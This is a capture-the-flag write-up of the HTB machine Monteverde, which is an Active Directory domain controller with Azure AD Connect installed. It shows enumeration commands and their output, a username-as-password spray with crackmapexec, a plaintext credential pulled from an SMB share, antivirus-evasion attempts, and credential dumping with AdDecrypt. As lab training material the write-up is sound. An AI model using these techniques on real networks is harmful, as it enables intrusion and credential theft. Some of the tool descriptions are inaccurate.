Summary
This machine is very unique as it involves working with Azure AD services and is one of a kind on HTB. This machine is vulnerable to a directory synchronization attack between the on-premise and cloud environments. This is the path to root which comes after achieving user through a basic unsecured file server where credentials can be found in a XML config file.
Processes/Techniques
Host to IP mapping with Etc/hosts
Dumping and cracking AD Azure credentials
AV Bypassing
Tools used
Dig - Enumerate DNS
Rpc Dump - Enumeration Rpc
SMB client - Connect to smb shares
Impacket ldap search - Enumerate Ldap services
Auto recon - A tool to help automate recon
Crackmap - Bruteforce credential lists
SMBMap - Enumerates SMB shares
Evil WinRm - A SOAP protocol that allows linux RDP connections to windows machines
AD Decrypt - Dumps AD credentials
Power Azure - Azure Priv Esc enumeration
ADcrypt.dll - Library for AD password dumping
Python HTTP server - For serving files quickly
WinPeas - Privilege's escalation checker
References
Enumeration
Our initial scan shows a large amount of ports open which greatly increases the possible attack surface and the enumeration that will have to be performed. In order to be as accurate as possible we will scan wide before deep.
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
After a simple scan we switch to a default scripts and service version scan.
sC - Default nmap scripts
sV - Service version enumeration
─$ nmap 10.129.208.251 -Pn -sC -sV
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-05 13:57 EDT
Nmap scan report for 10.129.208.251
Host is up (0.099s latency).
Not shown: 989 filtered ports
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2021-09-05 17:57:30Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
Service Info: Host: MONTEVERDE; OS: Windows; CPE: cpe:/o:microsoft:windows
Enumeration: Hosts & HTTP
The first thing I do is add the MEGABANK.LOCAL domain which we found in the above enumeration to our etc/hosts file so we can attempt to bypass DNS and resolve straight to the domain for the purposes of resolving that HTTP service on port 593. However this did not resolve so I moved on, looking at the other services before diving too deep on anything.
Image - Attempt to resolve megabank.local over port 593
Enumeration: DNS Port 53
A basic start to port 53 with dig on a zone transfer attempt yielded no results.
└─$ dig axfr @10.129.208.251
; <<>> DiG 9.16.15-Debian <<>> axfr @10.129.208.251
; (1 server found)
;; global options: +cmd
;; Query time: 2861 msec
;; SERVER: 10.129.208.251#53(10.129.208.251)
;; WHEN: Sun Sep 05 14:27:41 EDT 2021
;; MSG SIZE rcvd: 28
Lets try a dig query against the DNS server for general information. In which we gather some information relating to the FQDN. Adding this to our etc/hosts file was my knee jerk reaction and an attempt to resolve again over port 593, HTTP did not resolve to anything. I then proceeded to dive in more with DIG and updated the host mapping to reflect monteverde.megabank.local as per the below initial dig results. I then used dig to gather other elements of the DNS service below.
└─$ dig any @10.129.208.251 MEGABANK.LOCAL
; <<>> DiG 9.16.15-Debian <<>> any @10.129.208.251 MEGABANK.LOCAL
; (1 server found)
;; global options: +cmd
;; Got answer:
;; WARNING: .local is reserved for Multicast DNS
;; You are currently testing what happens when an mDNS query is leaked to DNS
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 33003
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 2
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;MEGABANK.LOCAL. IN ANY
;; ANSWER SECTION:
MEGABANK.LOCAL. 600 IN A 10.129.208.251
MEGABANK.LOCAL. 3600 IN NS monteverde.MEGABANK.LOCAL.
MEGABANK.LOCAL. 3600 IN SOA monteverde.MEGABANK.LOCAL. hostmaster.MEGABANK.LOCAL. 59 900 600 86400 3600
;; ADDITIONAL SECTION:
monteverde.MEGABANK.LOCAL. 1200 IN A 10.129.208.251
;; Query time: 196 msec
;; SERVER: 10.129.208.251#53(10.129.208.251)
;; WHEN: Sun Sep 05 14:29:12 EDT 2021
;; MSG SIZE rcvd: 147
Dig any - General information query
Dig A - Make a standard DNS request
Dig AAAA - Make a reverse request
Dig TXT - Check the local dns txt file
Dig MX - Check the email server
Dig NX - Check the name server
These provided no additional results so I moved onto nmap and attempted the nmap DNS script and received no new information. From here I pivoted and attempted some subdomain enumeration with DNSRecon. This however was not able to resolve the domain name which was quite unusual. I tried a few variations of the host names without any luck and moved on.
└─$ dnsrecon -D /usr/share/spiderfoot/dicts/subdomains-10000.txt -d monteverde.megabank.local -n 10.129.208.251 1 ⨯
[*] Performing General Enumeration of Domain: monteverde.megabank.local
[-] Could not resolve domain: monteverde.megabank.local
Enumeration: Port 88 - Kerberos
There is a known vulnerability but it requires authentication so we will move on. Not much else to do on this port if anything at all.
https://support.microsoft.com/en-us/topic/ms14-068-vulnerability-in-kerberos-could-allow-elevation-of-privilege-november-18-2014-9692b9fc-e5e1-73e0-4058-37d19893275c
Enumeration: Port 135
Running rpcdump provided allot of output but nothing helpful so I made the decision to move on.
/impacket-rpcdump 10.129.208.251 -port 135
Enumeration: Port 139/445
Using smbclient within linux to check for shares on the target informed us that the SMB service was disabled all together so we move on from this port.
Enumeration: Port 389
From here I used the basic ldap search command and generated some information from our target and beyond some basic information there was nothing additional.
─$ ldapsearch -h 10.129.208.251 -x -s base 127 ⨯
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: ALL
#
#
dn:
domainFunctionality: 7
forestFunctionality: 7
domainControllerFunctionality: 7
rootDomainNamingContext: DC=MEGABANK,DC=LOCAL
ldapServiceName: MEGABANK.LOCAL:monteverde$@MEGABANK.LOCAL
isGlobalCatalogReady: TRUE
supportedSASLMechanisms: GSSAPI
supportedSASLMechanisms: GSS-SPNEGO
supportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 3
supportedLDAPVersion: 2
supportedLDAPPolicies: MaxPoolThreads
supportedLDAPPolicies: MaxPercentDirSyncRequests
supportedLDAPPolicies: MaxDatagramRecv
supportedLDAPPolicies: MaxReceiveBuffer
supportedLDAPPolicies: InitRecvTimeout
supportedLDAPPolicies: MaxConnections
supportedLDAPPolicies: MaxConnIdleTime
supportedLDAPPolicies: MaxPageSize
supportedLDAPPolicies: MaxBatchReturnMessages
supportedLDAPPolicies: MaxQueryDuration
supportedLDAPPolicies: MaxDirSyncDuration
supportedLDAPPolicies: MaxTempTableSize
supportedLDAPPolicies: MaxResultSetSize
supportedLDAPPolicies: MinResultSets
supportedLDAPPolicies: MaxResultSetsPerConn
supportedLDAPPolicies: MaxNotificationPerConn
supportedLDAPPolicies: MaxValRange
supportedLDAPPolicies: MaxValRangeTransitive
supportedLDAPPolicies: ThreadMemoryLimit
supportedLDAPPolicies: SystemMemoryLimitPercent
supportedControl: 1.2.840.113556.1.4.319
supportedControl: 1.2.840.113556.1.4.801
supportedControl: 1.2.840.113556.1.4.473
supportedControl: 1.2.840.113556.1.4.528
supportedControl: 1.2.840.113556.1.4.417
supportedControl: 1.2.840.113556.1.4.619
supportedControl: 1.2.840.113556.1.4.841
supportedControl: 1.2.840.113556.1.4.529
supportedControl: 1.2.840.113556.1.4.805
supportedControl: 1.2.840.113556.1.4.521
supportedControl: 1.2.840.113556.1.4.970
supportedControl: 1.2.840.113556.1.4.1338
supportedControl: 1.2.840.113556.1.4.474
supportedControl: 1.2.840.113556.1.4.1339
supportedControl: 1.2.840.113556.1.4.1340
supportedControl: 1.2.840.113556.1.4.1413
supportedControl: 2.16.840.1.113730.3.4.9
supportedControl: 2.16.840.1.113730.3.4.10
supportedControl: 1.2.840.113556.1.4.1504
supportedControl: 1.2.840.113556.1.4.1852
supportedControl: 1.2.840.113556.1.4.802
supportedControl: 1.2.840.113556.1.4.1907
supportedControl: 1.2.840.113556.1.4.1948
supportedControl: 1.2.840.113556.1.4.1974
supportedControl: 1.2.840.113556.1.4.1341
supportedControl: 1.2.840.113556.1.4.2026
supportedControl: 1.2.840.113556.1.4.2064
supportedControl: 1.2.840.113556.1.4.2065
supportedControl: 1.2.840.113556.1.4.2066
supportedControl: 1.2.840.113556.1.4.2090
supportedControl: 1.2.840.113556.1.4.2205
supportedControl: 1.2.840.113556.1.4.2204
supportedControl: 1.2.840.113556.1.4.2206
supportedControl: 1.2.840.113556.1.4.2211
supportedControl: 1.2.840.113556.1.4.2239
supportedControl: 1.2.840.113556.1.4.2255
supportedControl: 1.2.840.113556.1.4.2256
supportedControl: 1.2.840.113556.1.4.2309
supportedControl: 1.2.840.113556.1.4.2330
supportedControl: 1.2.840.113556.1.4.2354
supportedCapabilities: 1.2.840.113556.1.4.800
supportedCapabilities: 1.2.840.113556.1.4.1670
supportedCapabilities: 1.2.840.113556.1.4.1791
supportedCapabilities: 1.2.840.113556.1.4.1935
supportedCapabilities: 1.2.840.113556.1.4.2080
supportedCapabilities: 1.2.840.113556.1.4.2237
subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=MEGABANK,DC=LOCA
L
serverName: CN=MONTEVERDE,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Co
nfiguration,DC=MEGABANK,DC=LOCAL
schemaNamingContext: CN=Schema,CN=Configuration,DC=MEGABANK,DC=LOCAL
namingContexts: DC=MEGABANK,DC=LOCAL
namingContexts: CN=Configuration,DC=MEGABANK,DC=LOCAL
namingContexts: CN=Schema,CN=Configuration,DC=MEGABANK,DC=LOCAL
namingContexts: DC=DomainDnsZones,DC=MEGABANK,DC=LOCAL
namingContexts: DC=ForestDnsZones,DC=MEGABANK,DC=LOCAL
isSynchronized: TRUE
highestCommittedUSN: 82089
dsServiceName: CN=NTDS Settings,CN=MONTEVERDE,CN=Servers,CN=Default-First-Site
-Name,CN=Sites,CN=Configuration,DC=MEGABANK,DC=LOCAL
dnsHostName: MONTEVERDE.MEGABANK.LOCAL
defaultNamingContext: DC=MEGABANK,DC=LOCAL
currentTime: 20210905190901.0Z
configurationNamingContext: CN=Configuration,DC=MEGABANK,DC=LOCAL
# search result
search: 2
result: 0 Success
# numResponses: 2
# numEntries: 1
Autorecon
We can see that Autorecon picked up on information relating to user names which I totally missed.
Having turned up very little in the way of clear paths from my enumeration processes. I resort to Autorecon, which if you do not know, is a toolkit to help automate the process of reconnaissance. I tend to run autorecon in the background at the start of an engagement due to the lengthy time required to finish.
===============================
| Users on 10.129.208.251 |
===============================
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 881.
index: 0xfb6 RID: 0x450 acb: 0x00000210 Account: AAD_987d7f2f57d2 Name: AAD_987d7f2f57d2 Desc: Service account for the Synchronization Service with installation identifier 05c97990-7587-4a3d-b312-309adfc172d9 running on computer MONTEVERDE.
index: 0xfd0 RID: 0xa35 acb: 0x00000210 Account: dgalanos Name: Dimitris Galanos Desc: (null)
index: 0xedb RID: 0x1f5 acb: 0x00000215 Account: Guest Name: (null) Desc: Built-in account for guest access to the computer/domain
index: 0xfc3 RID: 0x641 acb: 0x00000210 Account: mhope Name: Mike Hope Desc: (null)
index: 0xfd1 RID: 0xa36 acb: 0x00000210 Account: roleary Name: Ray O'Leary Desc: (null)
index: 0xfc5 RID: 0xa2a acb: 0x00000210 Account: SABatchJobs Name: SABatchJobs Desc: (null)
index: 0xfd2 RID: 0xa37 acb: 0x00000210 Account: smorgan Name: Sally Morgan Desc: (null)
index: 0xfc6 RID: 0xa2b acb: 0x00000210 Account: svc-ata Name: svc-ata Desc: (null)
index: 0xfc7 RID: 0xa2c acb: 0x00000210 Account: svc-bexec Name: svc-bexec Desc: (null)
index: 0xfc8 RID: 0xa2d acb: 0x00000210 Account: svc-netapp Name: svc-netapp Desc: (null)
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 927.
user:[Guest] rid:[0x1f5]
user:[AAD_987d7f2f57d2] rid:[0x450]
user:[mhope] rid:[0x641]
user:[SABatchJobs] rid:[0xa2a]
user:[svc-ata] rid:[0xa2b]
user:[svc-bexec] rid:[0xa2c]
user:[svc-netapp] rid:[0xa2d]
user:[dgalanos] rid:[0xa35]
user:[roleary] rid:[0xa36]
user:[smorgan] rid:[0xa37]
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 927.
User Name : smorgan
Full Name : Sally Morgan
Home Drive : \\monteverde\users$\smorgan
Dir Drive : H:
Profile Path:
Logon Script:
Description :
Workstations:
Comment :
Remote Dial :
Logon Time : Wed, 31 Dec 1969 19:00:00 EST
Logoff Time : Wed, 31 Dec 1969 19:00:00 EST
Kickoff Time : Wed, 13 Sep 30828 22:48:05 EDT
Password last set Time : Fri, 03 Jan 2020 08:09:22 EST
Password can change Time : Sat, 04 Jan 2020 08:09:22 EST
Password must change Time: Wed, 13 Sep 30828 22:48:05 EDT
unknown_2[0..31]...
user_rid : 0xa37
group_rid: 0x201
acb_info : 0x00000210
fields_present: 0x00ffffff
logon_divs: 168
bad_password_count: 0x00000000
logon_count: 0x00000000
padding1[0..7]...
logon_hrs[0..21]...
Account Disabled : False
Password does not expire : True
Account locked out : False
Password expired : False
Interdomain trust account: False
Workstation trust account: False
Server trust account : False
Trusted for delegation : False
Enumeration: Bruteforce logon
Having few clear paths from here I resort to bruteforcing attempts sadly.
For this I will use crackmapexe and the user names provided by auto recon as the list of users and password.
Image - Crackmapexec the swiss army knife for networks
Here I create a new file and paste the contents of the users and password.
image - users list and password list
Running crackmap against the smb protocol with the provided user names for users and password provided a successful login.
crackmapexec smb 10.129.208.251 -u users.txt -p psw.txt
Image - Crackmap testing users and users as credentials over SMB
Initial foothold
Trying to connect with evil-winrm first does not work after cloning and attempting the ruby version. so I then switched to gem install and attempted to connect with a timeout. So these must just work with SMB. I always go straight for the kill when I get working windows credentials on a machine with rdp ports.
Image - Evil-winrim failing with SABatchJobs credentials
From here I tried SMBMAP and used the provided credentials for read access to the shares.
Image - SMBMAP
From here we we connect as SABatchJobs and notice many shares to enumerate.
└─$ smbclient -L //10.129.208.251/ -U SABatchJobs 1 ⨯
Enter WORKGROUP\SABatchJobs's password:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
azure_uploads Disk
C$ Disk Default share
E$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
users$ Disk
SMB1 disabled -- no workgroup available
The Azure uploads share allows for a connection but there is nothing.
└─$ smbclient //10.129.208.251/azure_uploads -U SABatchJobs
Enter WORKGROUP\SABatchJobs's password:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Fri Jan 3 07:43:06 2020
.. D 0 Fri Jan 3 07:43:06 2020
309503 blocks of size 4096. 304926 blocks available
smb: \> ls -la
NT_STATUS_NO_SUCH_FILE listing \-la
smb: \> ls
. D 0 Fri Jan 3 07:43:06 2020
.. D 0 Fri Jan 3 07:43:06 2020
The SYSVOL share allows for a connection and there were so many files I downloaded them to view locally with the following SMB commands.
smb: > RECURSE ON
smb: > PROMPT OFF
smb: > mget *
After viewing it offline I started to Grep for passwords as there were so many files.
└─$ smbclient //10.129.208.251/SYSVOL -U SABatchJobs 130 ⨯
Enter WORKGROUP\SABatchJobs's password:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Jan 2 17:05:14 2020
.. D 0 Thu Jan 2 17:05:14 2020
MEGABANK.LOCAL Dr 0 Thu Jan 2 17:05:14 2020
5795583 blocks of size 4096. 1485722 blocks available
smb: \> cd MEGABANK.local
smb: \MEGABANK.local\> ls
. D 0 Thu Jan 2 17:11:34 2020
.. D 0 Thu Jan 2 17:11:34 2020
DfsrPrivate DHSr 0 Thu Jan 2 17:11:34 2020
Policies D 0 Thu Jan 2 17:05:22 2020
scripts D 0 Thu Jan 2 17:05:14 2020
I took a step back and decided to quickly check the users folder where I found credentials under user mhope.
└─$ smbclient //10.129.208.251/users$ -U SABatchJobs 130 ⨯
Enter WORKGROUP\SABatchJobs's password:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Fri Jan 3 08:12:48 2020
.. D 0 Fri Jan 3 08:12:48 2020
dgalanos D 0 Fri Jan 3 08:12:30 2020
mhope D 0 Fri Jan 3 08:41:18 2020
roleary D 0 Fri Jan 3 08:10:30 2020
smorgan D 0 Fri Jan 3 08:10:24 2020
309503 blocks of size 4096. 304926 blocks available
smb: \> cd smorgan
smb: \smorgan\> ls
. D 0 Fri Jan 3 08:10:24 2020
.. D 0 Fri Jan 3 08:10:24 2020
309503 blocks of size 4096. 304926 blocks available
smb: \smorgan\> cd ..
smb: \> cd roleary
smb: \roleary\> ls
. D 0 Fri Jan 3 08:10:30 2020
.. D 0 Fri Jan 3 08:10:30 2020
309503 blocks of size 4096. 304926 blocks available
smb: \roleary\> cd ..
smb: \> cd mhope
smb: \mhope\> ls
. D 0 Fri Jan 3 08:41:18 2020
.. D 0 Fri Jan 3 08:41:18 2020
azure.xml AR 1212 Fri Jan 3 08:40:23 2020
309503 blocks of size 4096. 304926 blocks available
smb: \mhope\> get azure.xml
getting file \mhope\azure.xml of size 1212 as azure.xml (3.5 KiloBytes/sec) (average 3.5 KiloBytes/sec)
smb: \mhope\>
Sure enough there are credentials in the azure.xml .....
─$ cat azure.xml
��<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
<Obj RefId="0">
<TN RefId="0">
<T>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</T>
<T>System.Object</T>
</TN>
<ToString>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</ToString>
<Props>
<DT N="StartDate">2020-01-03T05:35:00.7562298-08:00</DT>
<DT N="EndDate">2054-01-03T05:35:00.7562298-08:00</DT>
<G N="KeyId">00000000-0000-0000-0000-000000000000</G>
<S N="Password">4n0therD4y@n0th3r$</S>
</Props>
</Obj>
</Objs>
Authenticate & Logon
With a set of credentials in hand for a known user we go straight for the login with evil-rm.
Image - Access as mhope
Privilege escalation
We start by transferring winPEAS to the target machine. First we spin up a python http server over port 8000 in the winpeas directory. Then from the mhope shell, on the compromised machine we utilize, wget http://server ip:8000/winPEASx86.exe.
Image - File request from user mhope
Image - Inbound GET request logged on server
However upon confirming the file in our working directory there was nothing present. From here I assumed an anti virus product was removing it.
Image - Directory check after the successful file transfer
We have a few options and paths when attempting to by pass a local antivirus and gain code execution.
AV Bypassing
Initially I thought of 4 paths.
White listed directories
Changing filename and extensions
Obfuscating code pre-upload
Trying a .bat instead of a .exe
Whitelisted directories;
I found nothing that resembled a line of business application which would have a likely hood of being whitelisted, especially if the environment does not have a security department, but rather administrators and a basic AV platform.
Changing filename and extension:
Firstly I renamed and uploaded the files as ooobles. Then I renamed it to winpeas, then winpeas.exe. Still nothing worked even upon name changing after the upload. This can be helpful if an AV is configured to scan for newly added files only. A simple misconfiguration on the system practitioners part.
Image - Dir check
sln extension with msbuild.exe
From here we tried to transfer a visual studio project and compile with msbuild.exe, however msbuild was not present.
Image - msbuild.exe
PowerZure
I attempted to import a PowerZure escalation script and managed to bypass AV partially but I could not fully run the program with the execution policy bypass.
Image - PowerZure
PowerAzure references;
Base 64 encoded
This still did not allow for execution, for unknown reasons.
Image - Base64 encoding on winpeas
On a new path
Privilege's
So we have a very unique privilege here and that is the Azure Admin group. I performed a fair amount of research and reviewed several discussions and forums and eventually learned about an Azure AD exploit for scenario such as this particular privillege.
Image - Reviewing group privilleges.
Root
I eventually found this guide which was really interesting.
We have several steps to follow here in order to exploit the Dir Synch connector for synchronized credentials as per the exploit outlined in the above reference.
Downlaod AdDecrypt.exe and upload it to the machine
Download mcrypt.dll and uplaod to the machines
Navigate to the Azure AD Sync Bin
Launch AdDecrypt.exe -Full
Image - Using the Azure AD Connector exploit
Image - Gaining access as root
Kommentare